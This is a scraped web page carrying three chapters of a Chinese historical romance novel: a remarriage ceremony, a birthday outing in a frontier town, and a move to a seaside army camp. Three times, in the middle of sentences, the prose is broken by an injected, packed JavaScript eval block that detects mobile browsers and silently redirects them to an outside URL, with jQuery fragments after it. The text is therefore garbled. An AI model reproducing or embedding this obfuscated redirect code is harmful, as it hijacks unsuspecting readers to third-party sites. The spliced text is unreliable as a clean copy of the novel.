“我喜欢你。”但叶岚眼眸一低,又不确定的说:“现在很喜欢,可不知道明天还会不会喜欢。因为我今天非常非常悲伤,看到侍女们在那里有说有笑很是开心,可我一过去一切就停止了。我想了想,我的确从来没有像她们那样无忧无虑过,我人生的底色就是悲凉……现在,我只是觉得太孤单了,我怕我只是因为孤单才去喜欢你……可那样不好。” 冷逸尘终于等到了答案。此刻她心中是有他的,足够了,真的已经足够了。 他真是无比的欣慰,他将她揽进怀中,摸着她的头发开心的说道:“有我,你不会孤单……你心里是有我的……你心里是有我的……” 冷逸尘说完,将叶岚抱起向她的寝殿走去,叶岚只觉在云雾间缥缥缈缈,心却跳的厉害:今晚会不会发生些什么? 叶岚闭着眼睛不敢睁开。朦胧间她被放到了床上,梧桐和秋雨进来给她擦洗了脸和手,又换了睡衣。 她想等冷逸尘说说话,可酒劲上来了,渐渐的就什么也不知道了。 第二日叶岚醒来,只觉头痛不已。她睁开眼睛,看见冷逸尘只穿着里衣侧身躺在她身旁,正笑吟吟的看着她。 她惊慌不已,掀开被子看了一眼自己的衣衫,完整如初才松了口气。她努力回想昨日之事,只记得她主动亲吻了冷逸尘,其它的事竟记不起来半点。 从未喝成这样过,真是失态。叶岚坐起身来,将被子拉至胸口,紧紧的捂着。 “我们......昨晚……”叶岚结结巴巴的,没说出一句完整的话。 冷逸尘笑着将她拉进怀里,柔声说道:“放心,没有。我不会趁人之危。有些事……要等到你愿意才行。昨日你说喜欢我,我很欢喜。不要担心以后,我会努力让你一直喜欢下去。” 叶岚明白他所说的“有些事”指的的是什么,顿时羞涩不已,嘴硬的说道:“酒后的话,算不得数的。”可脸却深深埋在冷逸尘的胸膛。 她的脸与他的胸膛只隔着一层薄薄的衣衫,她甚至能感受到他温热而结实的肌肉。 可不巧又牵扯了冷逸尘的伤口,他不禁轻哼一声。 叶岚忙抬起头来,欲从他怀中出来,可冷逸尘揽的很紧。 叶岚一挣扎,他的伤口更疼了,他忍着痛疼说道:“不要动了……说出的话泼出去的水,你赖不掉了。” 从未有过这么长时间的亲昵举动,叶岚的不觉心跳加快。 冷逸尘感受着她的心跳,心底开出了欢喜的花朵。他再次确定的说:“你心里是有我的。” 叶岚羞涩不已:“时间不早了,该起身了。” “你再休息会,我去着人安排早饭。”冷逸尘说完,情不自禁的低头在她额前一吻。起身穿好衣衫,深吸了一口气走出房门。 叶岚重新躺好,想着刚才的情景,心里满是喜悦,害羞的用被子将头蒙里起来。 此时,泽生正寻冷逸尘,见他从公主的院子出来,有些惊讶,但随即又满意的点点头。说道:“殿下的伤……好的挺快,呵呵,好的挺快。” 冷逸尘白了他一眼:“看什么看,去拿药。” “拿什么药?” “金疮药。” 泽生无奈的说道:“殿下怎么这样的心急。” “不是你想的那样……”冷逸尘话说一半,突然不想解释了,就这样吧。 泽生呵呵一笑,痛快的去拿药膏、安排早饭去了。 29. 花开魂梦牵 没有人来访,叶岚终于静下心来,有了闲暇的时间。 府中的花草已过了盛期,她便命人重新采买了一批。 新的绿植搬来,园中焕然一新。其中有一盆昙花,她最喜爱。 冷逸尘的身体逐渐恢复,庭中花木又繁茂起来。那盆昙花在叶岚的精心照料下已经长了几个花苞,再养几日便会开花。 这十几日来,一切看上去没什么变化,可叶岚却觉得日子变得欢快了许多。 这日,叶岚用软帕蘸着水,轻轻擦拭着昙花的叶子。 泽生在她身后摆着花盆,絮絮叨叨:“这昙花花期短、又是夜里开,很少有人愿意养。殿下为找这昙花可是费了一番功夫。以前殿下在山上养过一盆茉莉,花开时,整个房间都是香的,殿下还喜欢对着茉莉抚琴。但下山后,殿下就再也没有抚琴了……” 泽生说的认真,全然没有注意冷逸尘已站在他身边。冷逸尘蹲下身,对泽生做了个噤声的手势。 泽生看了看叶岚的背影,对冷逸尘点头,悄悄的告退了。 这边叶岚还等着听泽生解释原因?可半天没有声音,便问道:“为什么不抚琴了?” “因为我不愿琴音沾染尘俗。”冷逸尘声音低沉。 叶岚闻声转头,冷逸尘抬头。二人目光触碰,相视一笑。 冷逸尘身着一身白青色竹叶绣纹长衫,头发半束,显得整个人很散淡。 叶岚不禁多看了他两眼,觉得这身装扮更适合他。 二人放下手中的花盆,坐于廊下。叶岚拉过他的手看着,手指修长,手掌上却长了很多茧子。 如果没有这些茧子,他的手一定非常好看,应该很适合弹琴。 叶岚抚摸着茧子,问道:“那我是不是没有机会听你抚琴了?” “有,等回了长右山。” 又是长右山。他同叶皓说的一样,也是一个“回”字。他们二人都视长右山为归宿,这长右山到底有多好呢? 可能叶岚这辈子都无法领略了。她转了个话题,说道:“昙花这样难寻,就不要找了。” “你喜欢……既然找到了,那就好好欣赏,别错过了花期。” “你看这花苞已经很饱满了,大概今夜就会开放。你陪我一起看吧。” “好。”冷逸尘边说边拉过叶岚的手指放在唇边亲吻了一下。 叶岚看着他衣摆上的竹叶,说道:“你这身衣服很好看,很适合你……我也很喜欢。” 冷逸尘含笑:“是喜欢衣服……还是喜欢人。” 叶岚娇羞嗫喏:“都……喜欢。” 冷逸尘欣喜,将她揽进怀中:“我也喜欢浅色,只是平日在军中要穿深色的。过几日做秋装、冬装时,咱们选些浅色的料子。” 叶岚闻着他身上淡淡的茉莉香,轻声回答:“好……” “你还喜欢什么?” 这一问,叶岚倒不知该如何回答了,她似乎没什么喜欢的:“我生活的很简单,没什么爱好也没什么想要的。现在就很好,平平静静的生活。” “和我来这里,让你受苦了。” “我并不是这个意思。和你在一起,我觉得很好。只是我自己本身就是一个……很乏味很无趣的人。” 冷逸尘感慨道:“你不是。你只是把自己包裹的太严实,别人很难走进你心里。”这条路他走的实在艰难,但是他庆幸不已、他无悔无憾。 眼看越聊越严肃,叶岚笑着说道:“看你说是的,你好像很懂我似的。” 冷逸尘却正色说道:“我懂你,知道你想要什么。” 此时梧桐来报:“启禀殿下,书房侍从说军中机要送到。” “好,告诉来人,本王马上就回去。” 梧桐退下。冷逸尘吻了吻叶岚的额头,不舍的说道:“我去看看,一会回来。” 冷逸尘走后,叶岚怔怔的看着花草,不以为意的想:唉!我都不知道想要的是什么,你怎么会知道? 叶岚收拾完花草,便去沐浴。梧桐为她准备了那身红衣。 叶岚叹了口气,一切慢慢来吧,再找衣服也是麻烦,于是便穿上了。 是夜,叶岚命人在外置了凉榻,守着昙花。冷逸尘持两根花烛走来,也是一袭红衣。 叶岚眼前一亮,笑道:“怎么穿得这样艳?天色还不晚,点蜡烛做什么?”说着想将蜡烛熄灭。 冷逸尘拦住她:“昙花颜色素了些,点缀一下。” “哦……这蜡烛倒是很别致。” 冷逸尘笑笑不语,让侍女侍从都退下。 二人聊着过往的人和事,时间过得很快,不知不觉昙花尽数开放。 夜已深,周围一片宁静,只听得草中的虫鸣声。 叶岚起身舒展了一下筋骨,说道:“谢谢陪我了这么久,回去睡吧。” 冷逸尘却拉住她的胳膊:“陪你了这么久,也陪我去看些东西。”说罢也不等她同意,直接拉着她来到他的卧房。 进入卧房,只见满目红色,一套凤冠置于床上,叶岚惊讶不已。 她此番才明白过来,他们的这身红衣和刚才的那对花烛,都是冷逸尘精心准备的。只是自己的心思全在昙花上,完全没有想到这一点。 叶岚猜到接下来要发生的事情,既期待又害怕,心跳的厉害。 冷逸尘关上门,忽然揽过叶岚的腰身,目光灼灼看着她。说道:“叶岚,我知道,你因我二人的婚事没有选择而心存芥蒂。如今,我问你一遍,你可愿意嫁于我为妻?” 叶岚从惊讶中缓过,冷逸尘如炬的目光给了她勇气。她不再逃避,正视自己的内心。此时此刻,她心甘情愿。 叶岚直视冷逸尘,回答到:“我愿意。” 听到这话,冷逸尘感觉到了从未有过轻松与安心。他拿出一折婚书置于案上展开,只见红笺锦字: “从兹缔结良缘,订成佳偶,赤绳早系,白首永偕,花好月圆,欣燕尔之,将泳海枯石烂,指鸳侣而先盟,谨订此约。” 冷逸尘说道:“之前的婚书皆不是你我二人亲笔签订。这次我们重新来签。”说罢,拿过笔在男方的名字下面签下了:冷逸尘。 然后将笔交给叶岚。 叶岚接过笔,看着冷逸尘期待的目光,只觉心中充满了力量,郑重写下了“叶岚”二字。 二人重新拜了天地,喝了合卺酒。 叶岚这次没有像做梦一般,而是切切实实的感受一切,踏踏实实的完成每一项礼仪。 叶岚终于放下了心结。此刻,没有梁国、没有祁国,没有公主、没有皇子,只有他们自己。千万年里、千万人中,他们只属于彼此。 礼成。二人并肩坐于床上,冷逸尘凑近了问:“这婚礼可还满意?” 叶岚娇羞的点点头。 冷逸尘凑的更近了,在她耳畔轻语:“那欠我的洞房花烛夜,今夜可要补上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073873|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 屋外的昙花在烛光中摇曳,红烛燃尽时,昙花也尽数谢幕。 花还会再开,梦也会继续。正所谓:花非花,梦非梦,花如梦,梦似花,梦里有花,花开如梦。 叶岚睁开眼睛时,天已大亮。身侧无人,她忙拉开帷幔,看见冷逸尘在外间,才放心下来。 她回想昨夜的两情欢洽,不由得又红了脸。 冷逸尘正在擦着一把宝剑,是他此前为叶岚打造了。 叶岚犹豫了一下,轻柔的叫了一声:夫君。 冷逸尘听了如坠蜜糖,过来什么也未说,俯身便吻了上来,一阵旖旎缱绻。 冷逸尘紧紧的搂着叶岚,生怕她会突然消失了似的,低语道:“你腰上有朵海棠花……” 叶岚腰间的胎记只是一小片褐色,他却能当做是一朵海棠花。 冷逸尘又问:“昨晚……可还好?” 叶岚羞涩不语,只是紧紧贴着着他的胸膛。昨晚他很克制,十分小心她的感受。 他轻抚着她的后背以示安慰,拿过剑说道:“看看这个,可喜欢?” 叶岚从他怀中出来,拿过剑拔出一截,只见上刻“清和”二字。 她十分满意的地点点头:“很好!怎么想起来送我剑?” “之前答应过你的。” “哦?我都不记得了。” “从明日起,我教你长右山的剑术,可好?” 叶岚不可思议的问道:“可以吗?剑术不是不外传吗?我哥哥都从未教过我。” “你不算外人。” 叶岚有些迫不及待:“那为什么是明日?今天不行吗?” “因为今天是你的生辰,我们出去转转。” 叶岚一愣,生辰,他竟然知道她的生辰,她自己都忘记了。“你怎么知道。” “庚贴上写的,你的一切我都会留意。” 叶岚带着歉意说道:“对不起,这些我做的不够……” “不要这样说。这样很好,一点点发现我的好,就不会对我厌倦了,可以爱我长久点。” 叶岚又钻入他的怀中,用脸蹭了蹭他胸膛,娇滴滴的说道:“那要看你够不够好了!” 冷逸尘反问道:“你觉得我好不好?”说着又欲吻她。 叶岚笑着躲过:“看你表现……我要去沐浴了……” 冷逸尘只得亲了亲她的头发:“好……水已经备好了。”说罢不舍的更衣出去,唤侍女进来服侍。 沐浴后,叶岚回了自己的卧房。冷逸尘已沐浴毕,正拿着书卷坐在她的卧房里等她用早饭。 叶岚则先坐下来梳妆,又命秋雨去找衣衫。因为要出门,她犹豫着要戴着什么发饰、穿什么衣衫才好。 冷逸尘上前来,看着镜中的人比花娇,便随便捡了两根玉簪簪在她头上,说道:“你怎样都好看。”说完又忍不住轻轻吻了她的脸颊。 梧桐与秋雨抿嘴偷笑。 在叶岚看来,如此私密之事,怎可当众表示,瞬间红了脸,不由得皱眉低头。 冷逸尘见状,立刻示意侍女离开,略带歉意的说道:“是我轻浮了……”可心中却无悔意。 叶岚见他道歉,便起身去挑衣服,她问冷逸尘:“哪个颜色好看?” “红色,过生辰要穿的喜庆些。” 叶岚想了想还是挑了件淡蓝色的衣服与冷逸尘的相匹配。 他二人略用了些早饭,便出发了。 30. 人间烟火气 榆关是燕北要塞,也是贸易聚集地。南方的丝绸、茶叶,北方的皮毛、马匹,都在此交易。南来北往的商客多有投奔,榆关因此兴盛。 只是榆关两侧是群山,城区狭长,只有南北中三条街道。期间坊巷院落,纵横无数。坊巷间各有茶坊酒店,勾肆饮食。 来了榆关这么久,叶岚还是第一次出门。她没有带侍女,与冷逸尘步行至闾巷间,才发现泽生没有跟着。 冷逸尘咳了一下说道:“他……佳人有约。” 叶岚意味深长的“哦……”一声,怪不得这几日都很少见到他。 午时,二人找了个烤肉的铺子,上了二楼。叶岚选了个临窗的位置坐下,她很喜欢看着楼下人来人往。 店里的伙计一边殷勤的倒水擦桌一边说道:“今日有新鲜的兔子,客官要不要来一只?” 冷逸尘点头:“好,烤好了拿上来吧。” “还有刚到的海虾,今天早起船上下来的货,还活蹦乱跳的呢。” 冷逸尘不拒绝:“好,来两份。再烤一份里脊、一份五花。” “好嘞,客官先喝茶。马上就好。”伙计说罢毛巾一甩下楼去了。 “怎么会有海虾?这里离海很近吗?”叶岚问。 “很近,向东五十余里就到。等有机会带你去看看。” “好啊,我还从未见过大海。” 午时已至,街上热闹起来。市井经济之家,无暇炊煮者,皆来市店饮食。 店铺摊位都冒起了炊烟,蒸汽氤氲中混杂着吆喝声、谈笑声,一派安定祥和。 叶岚看着外面的喧嚣,说道:“以前读书,记得有一句话。秦始皇常曰:东南有天气。你说,这天子气是什么呢?” “始皇所说的‘东南有天子气’,本意是忌惮地方势力。‘天子气’即‘王气’,大概就是祥云之类的天象,被术士们说成了帝王之气。” “我觉得倒不是这样理解。” “哦,怎么讲?” “大约是他在巡游的路上,见到的就是这样的闾巷人家、寻常巷陌皆有的兴旺之气。天子气大约就是这人间烟火气。” 冷逸尘觉得这样的理解很新奇,赞同道:“头一次听到这样的说法。不过倒是很贴切,百姓所求的不过是安居乐业。” 说话间配菜已上,是盐醋腌制的菜疏和鲜紫苏叶子。 “尝尝,看看合不合口味。”冷逸尘说着夹了块萝卜放到了叶岚的碟子里。 叶岚尝了尝,咸鲜脆爽:“很不错……这紫苏味道太重了。” 冷逸尘将紫苏挪走,又招呼伙计上一些薄饼来,继续问道:“你的学问都是你哥哥教的?” “大部分是吧。十三岁之前住在宫里,琴棋书画也都学了,可没有一样学好。后来母亲……故去,我就跟我表姐,也就是我三嫂,住到了她家里。后来四哥也搬来他家。所以功课是三哥教的,剑术是四哥教的。” “看来你三哥教你的都是治国安邦之道,才会有如此见解。若你不是公主,你有没有想过去哪里,要做些什么?” 叶岚未语,低头吃了一口胡瓜。她从未想过这些,日子是什么样的她就怎样去过,从未想过去改变。 烤肉上来了,香气诱人。冷逸尘剥虾切肉,一份份摆到叶岚面前:“尝尝,很好吃。这街头巷尾的美味才是真正的美味。” 叶岚尝了一口,的确美味。食材新鲜、外焦里嫩,火候正好。她不禁夸赞道:“的确是美味,之前吃过的全然是白吃了。” “这是酸梅汤,解腻去暑。你喜欢甜,我让店家加了蜂蜜。” 叶岚喝了一口,冰凉可口,应该是在井水中泡过了,很对她的胃口。 叶岚又想到刚才的话题,反问他:“如果你不是皇子,你最想去哪里?” “长右山。”冷逸尘未加思索便说了出来,他抬起头看着叶岚,继续说道:“然后向师兄提亲,求娶你。” 叶岚想到了叶均,叹了口气:“不知道哥哥会不会同意。” 冷逸尘一挑眉:“师兄肯定会同意。当然,还要看你愿不愿意。” 叶岚笑吟吟的回答:“我倒是排在他之后了。你觉得我会不会同意呢?” 冷逸尘一挑眉,信心十足:“不同意我也想办法让你同意。” 二人一阵笑意。 冷逸尘又问:“暖暖也是你的名字?” 叶岚心中一顿,只有她最亲近的人才叫她这个名字,她从想过要告诉他,也许他应该知道。于是她说道:“是,你是听我四哥说的?” “是,他来时,我听他这样称呼你。这个名字很好,是谁给你取的?” “大概是我母亲。可能是她觉得生活太冰冷了,希望我能温暖一些。” 冷逸尘见叶岚有低落,带着歉说道:“我……我抱歉……” 叶岚笑着摇摇头。 冷逸尘将一杯酸梅汤喝完,说道:“想想一会去哪里玩?” 叶岚对这里一无所知,摇摇头:“不知道。” “那我们去看些首饰?这只镯子旧了些。” 叶岚摸了摸手腕上的素银镯,解释道:“这只镯子……是我母亲的遗物。首饰倒是不缺,只是我不喜欢佩戴,沉甸甸的不舒服。” 自叶岚开始学剑后,平日里就是几样简单的头饰,繁复的首饰一动起来,叮叮当当的,的确不方便。 冷逸尘无意间再次勾起叶岚的往事,一切皆因他对她了解的还不够,他有些自责。 于是他再次道歉:“哦,抱歉……我不是故意的……那我们再去别处看看。”他赶紧转了话题。 叶岚看了看外面的门市:“不知道这里还有什么好玩的。” “没关系,还有很多时间,我们慢慢逛。晚上还要去看舞姬跳舞。” 二人出了烤肉店便来到另一条巷子,这里满是文玩百货,相对刚才食铺那边的那条街冷清一些。 叶岚看着稀疏的人迹,说道:“这里倒是清静些。” 冷逸尘解释:“文玩字画、珠翠头面、胭脂水粉这些并不是像餐食那样必不可少,所以人少了些。这里每五日开一次集市,集市开时会热闹一些。” 他们一家一家的逛着,货色普通,无甚可买。 暮色将临时,冷逸尘带叶岚来到了凝祥楼。 刚进大堂,就见一男子搂着一曼妙的女子,笑吟吟的低语着什么,女子亦用帕子捂嘴浅笑,毫无顾忌的从他们二人面前经过。 叶岚从未见过如此轻佻之事,骇的她低下了头,躲到了冷逸尘身后:“这里不好。” 冷逸尘拉住她的手,说道:“别怕,这里是做正经生意的。” 随后,冷逸尘招呼伙计为他们开了个二楼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073874|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅间。雅间里有一面是栏杆,正对着大堂中的舞台。 须臾间,酒菜已上好,伙计介绍道:“这酒名叫玉清,本店的招牌,二位请慢用。二位来的正是时候,今晚有西域来的舞姬表演。” “好,去忙吗。”冷逸尘说完掏了块碎银子给他,意思是不要来打扰了。 伙计自然明了,口中连连称是道谢,掩了门出去了。 没了外人,叶岚放松下来,倒了一杯酒放于鼻下嗅了嗅,又浅尝了一口:“好酒。” 冷逸尘见她喜欢,说道:“今日无外人,可以多喝些。” 说话间琵琶声起,几个身着金色镶边的红色露脐上衣、红色长裙的西域女子登台献舞。 她们个个纤细高挑,舞姿如蝴蝶翩翩、轻灵飘逸。身段柔美,姿态万千,又宛如一朵朵鲜花在跳跃旋转。 爱美之心人皆有之,叶岚哪里看过这样“放恣”的舞蹈,从最初的放不开到目不转睛的看着。 一曲终了,舞姬谢幕,各种彩头被抛在舞台上。 冷逸尘递给叶岚一些散碎银子,叶岚接过也抛到了舞台上,随着众人一起喝彩。 她看着舞姬,他看着她;她的眼中满是欢乐,他眼中满是欣慰。 这就是他想给她的:她不必矜持、不必掩饰自己的喜怒哀乐,可以毫无顾忌的想做什么就去做。 叶岚又倒了一杯酒,冷逸尘也端起了酒杯。 叶岚忙阻止:“你不能喝!” “就这一杯,今日是你生辰,生辰快乐。” 叶岚担忧:“要喝等回去再喝,喝多了我可没办法带你回去。” 冷逸尘自有分寸:“一杯无事,侍卫就在附近。” 叶岚这才放心的让他喝了。 真是良辰美景,酒不醉人人自醉。一壶酒未尽,叶岚竟有些微醺,两颊染上桃花色。 冷逸尘怕她酒气上头,便说道:“走,出去看看。” 冷逸尘带着叶岚上了凝祥楼阁楼外的平台,新鲜空气让叶岚清醒了一些。 从楼上往下看,灯火通明。往远处望去,几无烛火。夜已深,世人大都已安歇了。 “什么时辰了,太晚了,我们也回去吧。” “不着急,等一会儿,还有个礼物。” 话音刚落,不远处天空中炸开了一朵烟花,接着两朵三朵,天空顿时姹紫嫣红。 烟花引得楼里人探头、引得行人驻足。但这场烟花只属于他们二人。 一朵很大的烟花在空中绽开,叶岚兴奋的拉着冷逸尘,指给他看。 冷逸尘看了一眼烟花后又转头看着叶岚,她的眼睛被烟花映得光彩熠熠。按耐不住心中悸动,低下头去吻在她的唇上。 叶岚没有像以前一样被这突如其来的举动惊到,反而眼中荡漾着笑意,随即踮起脚尖,搂住他的脖子,回应了一个长吻。 冷逸尘将她揽入怀中,心中很是满足。 叶岚忽而想起这是在大庭广众之下,怎可如此失态,心跳久久不能平复。她紧紧搂住他,将脸全部埋入他的胸膛。 冷逸尘感觉到了力道,便问:“怎么了?” “都被人看去了。” 冷逸尘低声解释道:“放心,这里暗,没有人会看到。” 叶岚将头抬起,只见冷逸尘双眸如星,笑意盈出,眼中灿烂远胜天上烟花。 31. 远赴山海间 次日清晨,叶岚醒来已是日上花枝。 梧桐和秋雨服侍她洗漱毕,有侍从来报:殿下在书房等王妃,请王妃用过早膳后过去。 书房中,泽生侍立一旁,有些困倦。他不明白他家殿下这是怎么了,昨夜归来泡了个冷水澡,后又练了半宿的剑,今早还起的怎么早。现在又要违逆师规,将剑术传授给外人。 冷逸尘说他自有分寸,泽生却心里嘀咕:色令智昏。 叶岚匆匆用了早膳,来到书房。冷逸尘已将剑招拆解,只待她来一一教授给她。 于是,叶岚又开始了学剑的生活。她到底是有些底子在身上的,而且天赋颇佳。许多招式一学就会,只需勤加练习。 此后,冷逸尘晨起授课,之后去军营,留叶岚自己领悟。叶岚也不偷懒,勤勤恳恳的很是认真。 午时,她会命人去买些小食回来犒劳自己,午憩后再舒舒服服的泡个澡。 晚间,冷逸尘归来,二人有时一起读读书、写写字,有时看看花、赏赏月。日子过的丰富又安静。 当叶岚以为日子会一直这样下去时,她又要搬家换地方了。 七月初七这日,冷逸尘一早便去了军营中。 七夕乞巧节,叶岚让梧桐给府上的仆从发了赏银,并允她们出府去。 她又着人在中庭搭建了一个彩楼,彩楼下面摆了瓜果、酒炙、笔砚、针线等物品应应景。 有侍女归来,将自己绣的女红也摆在下面,然后焚香礼拜乞巧。 也是在这日下午,泽生一脸生无可恋的回来,抱着两大坛酒将自己关在房间里,看样子像是失恋了。 叶岚很是担忧,但也不便打扰,命人送了醒酒的汤水和饭食过去。 叶岚看着侍女们的女红,才发觉自己已经很久没拿过针线了。她突然想起曾答应冷逸尘药给他绣一个香囊来着,直到现在也未兑现。 于是找了料子开绣。下午,冷逸尘回来时,已经绣好了一朵茉莉花。 冷逸尘回来后一直未见到叶岚,便去她的卧房去找她。 “怎么想起做女红来了。” “给你绣个香囊。”叶岚揉了揉颈肩,低着头脖子有些发酸,“很久没拿针线了,都有些生疏了。” 冷逸尘自然是很高兴,但又心疼叶岚劳累。他帮叶岚揉了会肩膀后,拿过她手中的花绷子放下:“走,出去透口气。” 二人坐到连廊下,冷逸尘从怀中拿出一包炒杏仁给她:“有些事要和你说。” “嗯?” “这里的军务都打理的差不多了,我前几日向京中请旨巡边。今日京中来了旨意,同意了。过些时日我要去临闾关驻守一段时间。” 叶岚听了很是惊讶,这太突然了。她问道:“去多久?” “大约半年。” “我怎么办?”叶岚很不高兴,她才在这里安顿下来。 “所以我来问你。若是你喜欢这里就留下,我会时常回来。若你愿意,也可同我一起去。” 叶岚看向他:“你希望我怎样?” “我自然是愿意你与我同去。只是那里偏僻,人烟稀少,条件艰苦,怕是会委屈你。” 叶岚看着满院的花草,有些失落的说道:“可惜了这一院子花草,我可是花了不少功夫。” 冷逸尘难掩兴奋:“那你是同意了?” “我自然也是想和你在一起……临闾关在哪里?” “由此向东北方一百里左右,过了临闾关就是匈奴人的地方。” 叶岚不关心这些,只问道:“可以看到大海吗?” “是的,大营就建在海边。” 叶岚恍然:“所以那次你说有机会带我去看海,就是这个机会?你是早有预谋?” “也是,也不是。秋收将至,军士们也要回家收秋,军中暂时没什么事,我便想起来去巡边。不过,也是为了有机会带你去看海。” “呵,你倒是会做顺水人情。” “我不是……我是真的想带你出去看看。” 叶岚看着他急于辩解样子,也不多计较:“什么时候出发。” “过了中元节就出发。” “好吧,这几日我便收拾东西。你看到泽生了吗?他……没事吧。” “没事。那女子家要他入赘,他不同意,便没有下文了。今日大概是去诀别了。” 叶岚还是担忧:“他搬了好多酒进屋。” “狠狠醉一场便没事了。放心,我让人看着他呢。” 以后的几日,叶岚将一些不用的东西运回京中,写信给安如,告诉她一切安好,让她准备些厚衣服交给来人,直接送去临闾关。 对于这次行程,叶岚既满怀不舍又充满期待。 冷逸尘知道燕北的冬天寒冷,置办好些皮毛,做了几件厚实的大氅备用。 泽生果然如冷逸尘所言,没几日恢复如常,就好似什么事都发生过一样。 转眼到了中元节这日,军中请了道人,立孤魂之道场。设大会,焚钱山,祭军阵亡殁。 待冷逸尘晚间回来时,天色骤变,子夜十分风起雨至。第二日,雨还是很大,没有要停的意思。行程只得推迟。 叶岚疑惑:这时节的雨怎么会这么大。冷逸尘告诉她:这是飓风带来的雨。 叶岚便更加疑惑:飓风不都是在东南沿海吗?冷逸尘解释:有些飓风会一直吹到北方。 叶岚忽然想起她四哥的那句:读万卷书不如行万里路。果然如此。 趁着雨天,叶岚绣好了香囊,里面装的是茉莉香料。她将香囊送给了冷逸尘,说道:“算是谢师礼。” 冷逸尘则笑道:“那你可是占了大便宜,一个香囊就换了我长右山秘传。” 此刻的叶岚只当他是开玩笑,完全没有意识到冷逸尘教授的剑术有多重要。 雨时断时续的下了三天,太阳时而露面、时而隐藏。直至第四日清晨,乌云终于褪去,阳光光明正大的洒向了人间。 这场雨带走了溽暑,雨后的空气清凉而干爽,燕北的秋天来了。 车马备好后,叶岚启程了。水洗过的天空一尘不染,一路上树木苍翠、山花明艳。她贪看风景,换马骑行。 越往北走,山越高,路越窄,水越清,风越凉。还没等叶岚欣赏够景色,目的地已经到了。 临闾关位于角山南麓。角山是燕山山脉东端的起始,山势险峻,是燕北地区和辽东地区的天然屏障。 角山主峰,巨大嵯峨,恰似龙角,故得名角山。临闾关内是燕北地区,祁国之境;关外是辽东地区,暂时由匈奴掌控。 自角山下来,有几个小村庄,然后就是临闾城,紧接着便是大营。 临闾关大营,临海而建,大营的城墙从海里向西北一直修到了角山的山脊上。 大营中建有并列几座宅院,分别做了正堂、议事厅等,宅院北面还设有牢房、兵器库、粮仓、碾房等。 宅院西面便是兵营、校场。校场很大,一道围墙将教场与海边的放马滩隔开。 战马则养在放马滩的西边,南临时河。时河入海口在整个大营的西南侧,亦是古渡口,渔民出海归海皆通过此处。 军中为叶岚安排了一个最大的宅院,但也比在榆关的宅院小了多一半。 这个宅院独立与其它的宅院,东边紧挨着城墙,南边接着大海,西边一条石板路直通大营门口,北边是一片菜地。 京中的东西已经运到了,将西厢房堆满。此来临闾关,叶岚只带了梧桐和秋雨等侍女六人。 叶岚大致将院子看了一下,确定了她的卧房、冷逸尘的卧房和书房,然后遣人收拾布置。 众人整理了一日才将物品安置好。 叶岚看着收拾好的院落,长舒一口气,以后便要在这常住了。 此宅院没有名称,后来叶岚为其题字“山海居”。 由于耽误了几日行程,来到了这里后冷逸尘一直忙着交接军务,匆匆过来交代了几句便又走了。 直至第三日一早,叶岚睁开眼睛时,才看见冷逸尘在外间喝茶。 叶岚坐起身,问道:“今日不忙了?” 冷逸尘来到床边,深深一吻,说道:“都已办妥了。院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073875|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾的这样好,辛苦你了。” “还要在这里住很久,自然要收拾的舒心一些。” “我的卧房为什么不和你的在一起? 叶岚不解的问道:“啊?不一直是这样吗?” 冷逸尘心中无奈的叹了口气,只问道:“今日有什么安排吗?” “还需要整理一下书房,别的没什么了。” “交给梧桐她们去做吧,今日我带你去挑一匹马。如何?” “真的?我可以出去?这里可是军营。”叶岚以为这里是军营,军中纪律严明,她又是女子,不能随便出院子。 也因之前她私入军营一事,亦不想给冷逸尘添麻烦。 “怎么不可以,这里是军营,又不是牢房。真正的营区在西边,这里可以自由出入。你总说羡慕你哥哥可以游历四方,但在京中、在榆关,你不得自由。这里不一样,你想去哪里就去哪里,没人会说什么。” “所以,你就筹谋着让我来了这里?心思到是深沉。” 冷逸尘揽她入怀,有些委屈的说道:“我只是想和你在一起,只希望你能过的快乐自在……” 叶岚闭上眼睛叹了口气说道:“我知道你是为我好,但我希望你能轻松一些。我只能和你在一起,你不必这样劳神。” “我……”冷逸尘无力辩驳。 为了让叶岚来这里,他的确是费了一番心思,他此刻才意识到他努力给了她自由,却没有给她自己选择的机会。 叶岚将他推开:“好啦,你且出去等我,我要更衣。”说罢,唤了梧桐、秋雨进来服侍。 待叶岚洗漱毕,二人用了早饭,便去了马场。 此前叶岚骑过的马都是驮马,耐力久但爆发力不强,不适宜策马奔腾。 冷逸尘转了一圈,挑了三匹马来让叶岚试骑。可叶岚一眼就相中了另一匹枣红色的马。 